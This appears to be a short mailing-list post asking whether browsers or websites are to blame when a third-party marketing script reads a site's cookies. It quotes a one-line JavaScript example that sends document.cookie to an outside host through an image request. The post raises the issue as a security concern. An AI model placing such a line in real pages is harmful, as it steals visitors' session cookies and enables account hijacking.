<<< Date Index >>>     <<< Thread Index >>>

cross-domain cookie theft: who's to blame?



Before disclosing the specifics, I'm just wondering wherein the fault lies:

I visited a site, say abc.foo.com that loaded javascript from an external (marketing statistics) site, say xyz.bar.com. The script from xyz.bar.com read the cookies set by abc.foo.com and posted them in a subsequent image tag as part of the query string. Essentially, xyz.bar.com now has all of my abc.foo.com cookies and could potentially hijack any cookie-based sessions I had going.

Is this a browser problem, allowing cross-domain scripts to read each other's cookies, or is this just blatant abuse by abc.foo.com and/or xyz.bar.com?

Example from abc.foo.com
<html>
<head>
 <script language="javascript" src="http://xyz.bar.com/somescript.js";>
</head>
 [ ... ]
</html>

Example of xyz.bar.com/somescript.js:

document.write('<img src="http://xyz.bar.com/img.gif?cookie=' + escape(document.cookie) + '">');


Regards,
Tim Tompkins